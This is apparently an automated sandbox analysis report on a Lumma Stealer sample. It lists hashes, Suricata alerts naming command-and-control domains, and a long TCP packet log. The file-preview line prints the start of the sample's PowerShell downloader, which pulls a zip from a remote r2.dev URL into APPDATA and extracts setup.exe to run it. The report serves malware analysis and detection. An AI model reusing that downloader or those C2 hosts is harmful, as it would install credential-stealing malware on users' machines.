SSDEEP:	6:flJY4MX3zskf/mkf+dxkn2NEm8+cjBCoLh8JZ+aLIqwqWVAN7RA1pGtPsNydXOMD:fla4W4Gm9ddA8qGD+uhqAnAaveMnIs
TLSH:	70F027627ABE2265C4B5C25ADB70804387176487250E16A913AC0131AE323A48BEAAC2
File Content Preview:	$qmn = 'https://pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev/poltos.zip'.$xtr = "$env:APPDATA\pwrd.zip".$ypd = "$env:APPDATA\Extracted1".$zjl = Join-Path $ypd 'setup.exe'..if (!(Test-Path $ypd)) { New-Item -Path $ypd -ItemType Directory }..Invoke-WebReques

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T13:38:41.480046+0100	2057668	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)	1	192.168.2.5	62687	1.1.1.1	53	UDP
2024-11-23T13:38:41.480046+0100	2057697	ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)	1	192.168.2.5	62687	1.1.1.1	53	UDP
2024-11-23T13:38:41.711787+0100	2057658	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)	1	192.168.2.5	63404	1.1.1.1	53	UDP
2024-11-23T13:38:41.950933+0100	2057654	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)	1	192.168.2.5	63153	1.1.1.1	53	UDP
2024-11-23T13:38:42.181158+0100	2057662	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs)	1	192.168.2.5	64103	1.1.1.1	53	UDP
2024-11-23T13:38:42.553738+0100	2057666	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs)	1	192.168.2.5	58874	1.1.1.1	53	UDP
2024-11-23T13:38:42.553738+0100	2057696	ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs)	1	192.168.2.5	58874	1.1.1.1	53	UDP
2024-11-23T13:38:42.801407+0100	2057660	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs)	1	192.168.2.5	56245	1.1.1.1	53	UDP
2024-11-23T13:38:43.148256+0100	2057652	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs)	1	192.168.2.5	57937	1.1.1.1	53	UDP
2024-11-23T13:38:43.148256+0100	2057695	ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs)	1	192.168.2.5	57937	1.1.1.1	53	UDP
2024-11-23T13:38:43.527981+0100	2057664	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs)	1	192.168.2.5	56059	1.1.1.1	53	UDP
2024-11-23T13:38:43.527981+0100	2057698	ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs)	1	192.168.2.5	56059	1.1.1.1	53	UDP
2024-11-23T13:38:45.386812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49817	23.55.153.106	443	TCP
2024-11-23T13:38:46.395983+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49817	23.55.153.106	443	TCP
2024-11-23T13:38:46.624130+0100	2057415	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com)	1	192.168.2.5	58971	1.1.1.1	53	UDP
2024-11-23T13:38:48.076390+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.5	49823	172.67.160.80	443	TCP
2024-11-23T13:38:48.076390+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49823	172.67.160.80	443	TCP
2024-11-23T13:38:48.767440+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49823	172.67.160.80	443	TCP
2024-11-23T13:38:48.767440+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49823	172.67.160.80	443	TCP
2024-11-23T13:38:49.220564+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.5	49829	172.67.160.80	443	TCP
2024-11-23T13:38:49.220564+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49829	172.67.160.80	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 13:37:37.927885056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:37.927952051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:37.928036928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:37.940927029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:37.940963030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.164237022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.164350033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.171633005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.171642065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.171940088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.187855959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.231338024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.842469931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.842545033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.842582941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.842600107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.842614889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.842672110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.842713118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.850913048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.850960016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.850967884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.859321117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.859359026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.859364986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.859373093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:39.859421015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:39.961935997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.001811028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.001831055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.038044930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.038115978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.038125992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.038132906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.038177013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.044399977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.052481890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.052536011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.052544117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.060619116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.060774088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.060805082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.068614960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.068686962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.068701982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.076504946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.076581001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.076596022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.092412949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.092495918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.092508078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.092524052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.092577934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.100440025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.108405113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.108494043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.108494043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.108510017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.108557940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.116430998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.131119013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.131305933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.131335020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.173640013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.226231098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.230304003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.230364084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.230410099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.238313913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.238400936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.238437891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.246299982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.246360064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.246376991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.262402058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.262531996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.262547970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.262604952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.274827957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.274836063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.274903059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.279428005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.279489994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.288512945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.288520098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.288587093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.293051004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.293057919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.293123960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.301913977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.301980019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.310714960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.310781002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.319592953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.319675922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.324127913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.324196100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.332938910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.333024979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.339575052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.339644909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.420254946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.420321941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.426489115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.426551104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.435863018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.435931921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.443483114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.443550110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.451339960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.451430082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.454933882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.455004930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.462162971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.462264061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.465929985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.466012001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.473253012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.473339081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.480519056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.480593920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.486979961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.487068892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.490305901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.490365982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.496699095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.496771097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.503199100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.503267050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.508089066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.508155107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.511411905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.511480093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.517772913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.517837048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.524255991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.524334908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.527676105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.527770996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.534080982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.534157991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.611334085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.611447096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.617049932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.617142916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.620091915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.620152950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.625641108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.625698090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.628566027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.628628016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.634299994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.634367943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.639974117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.640033007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.645639896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.645704031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.648583889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.648649931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.662970066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.662977934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.663038969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.663058996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.663080931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.663110971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.663131952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.681128025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.681143045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.681227922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.681243896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.681301117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.694048882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.694072008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.694154024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.694169998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.694226027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.708235025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.708251953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.708324909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.708338976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.708394051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.714430094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.720410109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.720426083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.720520973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.720535994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.720587015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.727760077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.740135908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.802819967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.802840948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.802918911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.802938938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.802989960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.814246893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.814265013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.814358950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.814373970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.814424992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.822623014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.822679996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.822716951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.822731018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.822760105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.833887100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.833905935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.833978891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.833995104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.837178946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.837239027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.837268114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.837325096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.847210884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.847227097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.847328901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.847346067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.847390890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.855792999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.855844021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.855894089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.855912924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.855942011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.858437061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.858491898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.858506918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.858555079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.864969969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.865031004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.865055084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.865081072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.865098000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.872997046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.873011112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.873053074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.873063087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.873095989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.923604965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.994415045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.994453907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.994489908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.994502068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:40.994517088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:40.994541883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.000334024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.000349998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.000408888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.000416994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.000457048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.002222061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.002273083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.007204056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.007266998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.007280111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.007301092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.007333994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.007348061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.013967991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.013983965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.014050961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.014123917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.014183044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.020842075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.020859003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.020919085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.020935059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.020983934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.027223110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.027242899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.027296066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.027312040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.027367115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.027367115 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.033338070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.033354998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.033411026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.033427954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.033479929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.040128946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.040144920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.040206909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.040222883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.040270090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.041573048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.186459064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.186486959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.186641932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.186665058 CET	443	49704	172.66.0.235	192.168.2.5
